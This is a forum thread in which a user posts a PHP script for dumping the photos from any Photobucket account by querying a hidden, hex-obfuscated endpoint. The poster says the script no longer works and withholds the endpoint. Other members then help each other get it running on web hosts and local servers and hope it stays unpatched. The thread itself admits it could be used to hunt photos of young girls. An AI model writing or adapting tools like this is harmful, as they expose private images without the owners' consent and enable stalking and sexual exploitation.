Canti

Foto Bucket Bypass

228 posts in this topic

Note: This script no longer works.

Quick easy PHP script to dump the contents of PB accounts.

For new user to the forum:

We will not freely handout the missing component of this script. So don't ask! This is a topic for the users of this site not for child molesting perverts hunting down photos o young girls in an attempt to get fist full of goo.

If your curious as to how this script works feel free to ask. If you want to learn more about the PHP feel free to ask. If you make a genuine attempt to post constructive responses to this this topic we will be more inclined to like you and possibly oh just every so possibly be willing to help you get a fully functional version of the script up and running.


Code minus the hexed url.

<?

// Photobucket Account Dump PHP Script - By Canti - AKA - Meo
// Use: script.php?usr=[username here]


function hta($hex, $delimeter="%")
{
$hex = str_replace($delimeter, "", $hex);
$strLength = strlen($hex);
$returnVal = '';

for($i=0; $i<$strLength; $i += 2)
{
$dec_val = hexdec(substr($hex, $i, 2));
$returnVal .= chr($dec_val);
}
return $returnVal;
}

$url = hta("[hex goes here without he brackets keep the quotes]");
// Hex to prevent google from sharing it with the world.

$usr = $_GET['usr'];

$f = file_get_contents($url.$usr);

preg_match_all('/<DownloadURL>(.*?)<\/DownloadURL>/is', $f, $img);

$i = '0';

while($c != '1'){

if($img['1'][$i] != ''){

$thumb = preg_replace('@(.*)/(.*)@', '\1/th_\2', $img['1'][$i]);
// Broken Thumb Fix PM'd to me by hprotagonist

echo '<a href="'.$img['1'][$i].'"><img src="'.$thumb.'"></a><br /><br />';

$c = '0';

}

else{

$c = '1';

}

$i++;

}

?>


Edited by Canti
0

Share this post


Link to post
Share on other sites

Alright I'm really a noob about this stuff, but how exactly do I use that script to get the pics in the account? Do I have to download some program or something? I've got a php writing/running program and that isn't helping me at all, I've already tried googling it for the last half hour and can't figure it out. :(

0

Share this post


Link to post
Share on other sites

Great. Now all the skiddies can do it! Just what we have been hoping for. :cuss:

0

Share this post


Link to post
Share on other sites

Damn so I need my own webpage to do this? All I do is insert the code and the corresponding urls or names and then it will work?

0

Share this post


Link to post
Share on other sites

sadly yes, you actually have to click a couple of times to run a script that has already been made for you.

quit your bitchin.

0

Share this post


Link to post
Share on other sites

Not as cool as the other one (it was good while it lasted, the whole week we knew about it heh) but still neat stuff

0

Share this post


Link to post
Share on other sites

Yea, dont think we should let this get too big or it will be patched before we have a chance to mess with it more..,

And sorry to sound like a noob, i try not to when at all possible, but i know nothing about php, so how do i go about getting this to work? i have a byethost site and ive tried uploading, but it doesnt do anything.. any help mucho appreciated

Edited by jamie79512
0

Share this post


Link to post
Share on other sites

Im really not trying to be a script kiddie if thats how it looks, im just checking out the code, i havent gotten around to learning about php yet.. but w/e

Also i think its more of a problem with byethost than the php, because nothing will work... html included

Edited by jamie79512
0

Share this post


Link to post
Share on other sites

I'm not trying to be a script kiddie or anything, but I am completely ignorant when it comes to this stuff. I've got it uploaded onto a server and everything, and inserted the username and urls in where they are supposed to go, but get this

(.*?)/is', $f, $img); $i = '0'; while($c != '1'){ if($img['1'][$i] != ''){ $thumb = str_replace($usr.'/', $usr.'/th_', $img['1'][$i]); echo '

'; $c = '0'; } else{ $c = '1'; } $i++; } ?> 1

that's it...there is one broken imagelink and another broken image and that text. what gives?

0

Share this post


Link to post
Share on other sites

Flock has had a photostream option, that will show a small (mouseover) icon on any image hosted by photobucket which when clicked will show a nifty strip with all the users images... which basically is what this script does right?

edit: Just ran through the script and I see what the difference is between it and Flock's photostream. :)

Edited by Hiryu
0

Share this post


Link to post
Share on other sites

i thought this was a hoax script that will do something else

i have limited PHP skills, and limited VB background, but i read the code and shes all good

i just need to host it now, and i think web1000.com has php features for free

Edit - Nope sorry that site only has CGI

Edited by woodys_world69
0

Share this post


Link to post
Share on other sites

sheesh, nobody got apache with php on their home pc? or am i the only one?

0

Share this post


Link to post
Share on other sites

my ISP does

i uploaded and ran php file and parsed in the right user, and just a blank screen

whats going on there?

0

Share this post


Link to post
Share on other sites

it could be your ISP has disallowed loading files from outside their server.

set error reporting on and look for an error message.

0

Share this post


Link to post
Share on other sites

my ISP does

i uploaded and ran php file and parsed in the right user, and just a blank screen

whats going on there?

<redundant>

You ISP probably doesn't like it when you try to fopen a URL instead of a local file. Most providers will have it dissabled by default.

</redundant>

Just get XAMPP or something on your windows box and run the script. Just be sure to edit your php.ini to allow fopen for URLs.

edit: "Mr. President, under redundant in the dictionary it says 'see redundant'..."

Edited by Hiryu
0

Share this post


Link to post
Share on other sites

Just tested, not working/showing any images, maybe im doing something wrong (dont see how) but it is not working for me :(

0

Share this post


Link to post
Share on other sites

Not to be a noob or anything but i'm confused about the code. Inside the preg_match_all function there is the pattern '/<DownloadURL>(.*)<\/DownloadURL>'. I'm not too good at PHP yet, do I put in a URL from photobucket or the destination for downloading the results of the script? Thanks for any help.

0

Share this post


Link to post
Share on other sites

Not to be a noob or anything but i'm confused about the code. Inside the preg_match_all function there is the pattern '/<DownloadURL>(.*)<\/DownloadURL>'. I'm not too good at PHP yet, do I put in a URL from photobucket or the destination for downloading the results of the script? Thanks for any help.

No, it's plug-n-play.

Just tested, not working/showing any images, maybe im doing something wrong (dont see how) but it is not working for me :(

I know I had to change the file_get_contents from hex-encoded to what it decodes to and mine worked fine.

0

Share this post


Link to post
Share on other sites

sheesh, nobody got apache with php on their home pc? or am i the only one?

i got it running

0

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now